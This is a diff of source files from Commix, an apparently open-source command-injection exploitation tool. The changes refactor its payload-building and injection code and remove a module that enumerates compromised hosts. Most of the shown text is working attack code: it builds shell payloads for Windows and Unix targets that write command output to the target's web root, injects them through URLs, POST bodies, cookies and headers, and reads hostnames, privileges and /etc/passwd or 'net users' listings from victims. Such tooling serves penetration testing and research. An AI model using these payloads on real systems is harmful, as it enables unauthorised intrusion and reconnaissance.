Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - if settings.COMMENT in payload_msg: - payload = payload.split(settings.COMMENT)[0].strip() - payload_msg = payload_msg.split(settings.COMMENT)[0].strip() - debug_msg = "Executing the '" + cmd.split(settings.COMMENT)[0].strip() + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - output_payload = "\n" + settings.print_payload(payload) - if settings.VERBOSITY_LEVEL != 0: - output_payload = output_payload + "\n" - sys.stdout.write(output_payload) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if defined method is GET (Default). - if not menu.options.data: - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - payload = payload.replace(" ","%20") - target = url.replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - else : - # Check if defined method is POST. - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - return response - - # Do the injection check - response = check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - return response +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) """ Find the URL directory. """ -def injection_output(url, OUTPUT_TEXTFILE, timesec): - - def custom_web_root(url, OUTPUT_TEXTFILE): - path = _urllib.parse.urlparse(url).path - if path.endswith('/'): - # Contract again the url. - scheme = _urllib.parse.urlparse(url).scheme - netloc = _urllib.parse.urlparse(url).netloc - output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE - else: - try: - path_parts = [non_empty for non_empty in path.split('/') if non_empty] - count = 0 - for part in path_parts: - count = count + 1 - count = count - 1 - last_param = path_parts[count] - output = url.replace(last_param, OUTPUT_TEXTFILE) - if "?" and ".txt" in output: - try: - output = output.split("?")[0] - except: - pass - except IndexError: - output = url + "/" + OUTPUT_TEXTFILE - settings.DEFINED_WEBROOT = output - return output - - if not settings.DEFINED_WEBROOT: - if menu.options.web_root: - _ = "/" - if not menu.options.web_root.endswith(_): - menu.options.web_root = menu.options.web_root + _ - scheme = _urllib.parse.urlparse(url).scheme - netloc = _urllib.parse.urlparse(url).netloc - output = scheme + "://" + netloc + _ + OUTPUT_TEXTFILE - - for item in settings.LINUX_DEFAULT_DOC_ROOTS: - if item == menu.options.web_root: - settings.DEFINED_WEBROOT = output - break - if not settings.DEFINED_WEBROOT: - while True: - if not menu.options.batch: - question_msg = "Do you want to use URL '" + output - question_msg += "' for command execution results extraction? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if procced_option in settings.CHOICE_YES or len(procced_option) == 0: - settings.DEFINED_WEBROOT = output - break - elif procced_option in settings.CHOICE_NO: - output = custom_web_root(url, OUTPUT_TEXTFILE) - if not settings.DEFINED_WEBROOT: - pass - else: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - output = custom_web_root(url, OUTPUT_TEXTFILE) - else: - output = settings.DEFINED_WEBROOT - - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution results extraction." - print(settings.print_debug_msg(debug_msg)) +def injection_output(url, OUTPUT_TEXTFILE, timesec, technique): + return injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) - return output - """ Command execution results. """ -def injection_results(url, OUTPUT_TEXTFILE, timesec): - #Find the directory. - output = injection_output(url, OUTPUT_TEXTFILE, timesec) - # Check if defined extra headers. - request = _urllib.request.Request(output) - headers.do_check(request) - headers.check_http_traffic(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: - response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - try: - shell = checks.page_encoding(response, action="encode").rstrip().lstrip() - #shell = [newline.replace("\n"," ") for newline in shell] - if settings.TARGET_OS == "win": - shell = [newline.replace("\r","") for newline in shell] - #shell = [space.strip() for space in shell] - shell = [empty for empty in shell if empty] - except _urllib.error.HTTPError as e: - if str(e.getcode()) == settings.NOT_FOUND_ERROR: - shell = "" - return shell +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index bc7e823e05..e6045a2dae 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -20,21 +20,23 @@ from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks """ -File-based decision payload (check if host is vulnerable). +File-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, OUTPUT_TEXTFILE): - - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" payload = (separator + - "powershell.exe -InputFormat none Add-Content " + - OUTPUT_TEXTFILE + " " + TAG - ) + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + + "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL + ) else: payload = (separator + - "echo " + TAG + ">" + settings.WEB_ROOT + OUTPUT_TEXTFILE - ) + "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + ) return payload @@ -42,18 +44,17 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): - - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\"" payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do @set /p =%i< nul" + "') do @set /p = %i " + settings.CMD_NUL ) else: payload = (separator + - "$(python -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")" - ) + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + ) if settings.USER_AGENT_INJECTION == True or \ settings.REFERER_INJECTION == True or \ @@ -61,10 +62,8 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): settings.CUSTOM_HEADER_INJECTION == True : payload = payload.replace("\n", separator) else: - if not settings.TAMPER_SCRIPTS['base64encode'] and \ - not settings.TAMPER_SCRIPTS['hexencode']: - if settings.TARGET_OS != "win": - payload = payload.replace("\n","%0d") + if settings.TARGET_OS != settings.OS.WINDOWS: + payload = payload.replace("\n","%0d") return payload @@ -72,48 +71,44 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): - if settings.TFB_DECIMAL == True: - payload = (separator +cmd) + payload = (separator + cmd) - elif settings.TARGET_OS == "win": - payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - "powershell.exe -InputFormat none write-host (cmd /c \"" + - cmd + - "\")\"') do @set /p =%i " + ">" + OUTPUT_TEXTFILE + "< nul" - ) + elif settings.TARGET_OS == settings.OS.WINDOWS: + cmd = cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + payload = (separator + + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + + "\"') do @set /p = %i " + settings.CMD_NUL + ) else: - # if settings.USER_AGENT_INJECTION == True or \ - # settings.REFERER_INJECTION == True or \ - # settings.HOST_INJECTION == True or \ - # settings.CUSTOM_HEADER_INJECTION == True: - # if not settings.DEL in cmd: - # cmd = "echo $(" + cmd + ")" + settings.USER_APPLIED_CMD = cmd payload = (separator + - cmd + ">" + settings.WEB_ROOT + OUTPUT_TEXTFILE + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) - return payload """ __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: - payload = (separator +cmd + " " + payload = (separator + cmd + settings.SINGLE_WHITESPACE ) else: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + ">" + OUTPUT_TEXTFILE + "')\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + "')\"" payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do @set /p =%i< nul" + "') do @set /p = %i " + settings.CMD_NUL ) else: + settings.USER_APPLIED_CMD = cmd + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX payload = (separator + - "$(python -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + + settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX ) # New line fixation @@ -123,10 +118,8 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", separator) else: - if not settings.TAMPER_SCRIPTS['base64encode'] and \ - not settings.TAMPER_SCRIPTS['hexencode']: - if settings.TARGET_OS != "win": - payload = payload.replace("\n","%0d") + if settings.TARGET_OS != settings.OS.WINDOWS: + payload = payload.replace("\n","%0d") return payload diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py deleted file mode 100755 index 8a93c9c7f2..0000000000 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ /dev/null @@ -1,572 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys - -from src.utils import logs -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector - -""" -The "tempfile-based" injection technique on Semiblind OS Command Injection. -__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - cmd = settings.PS_VERSION - if alter_shell: - cmd = cmd.replace("'","\\'") - # Command execution results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - ps_version = output - try: - if float(ps_version): - settings.PS_ENABLED = True - ps_version = "".join(str(p) for p in output) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - # Output PowerShell's version number - info_msg = "The PowerShell's version number is " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print("\n" + settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - -""" -Hostname enumeration -""" -def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if shell: - shell = "".join(str(p) for p in output) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) - -""" -Retrieve system information -""" -def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_os = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if target_os: - if settings.TARGET_OS != "win": - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("") - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - distro_name = output - if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" - if settings.TARGET_OS == "win": - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_arch = output - if target_arch: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) - -""" -The current user enumeration -""" -def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - cu_account = output - if cu_account: - cu_account = "".join(str(p) for p in cu_account) - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - shell = "".join(str(p) for p in shell) - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") - output_file.close() - else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the current user." - print(settings.print_warning_msg(warn_msg)) - -""" -System users enumeration -""" -def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" - # URL encode "+ " if POST request and python alternative shell. - if alter_shell and http_request_method == settings.HTTPMETHOD.POST: - settings.SYS_USERS = settings.SYS_USERS.replace("+ ","%2B") - cmd = settings.SYS_USERS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - try: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - except TypeError: - output = "" - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_users = output - # Windows users enumeration. - if settings.TARGET_OS == "win": - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - info_msg = "Confirming privileges of user '" - info_msg += sys_users_list[user] + "'. " - print(settings.print_info_msg(info_msg)) - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)" - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - check_privs = output - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print("\n (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - # Unix-like users enumeration. - else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user 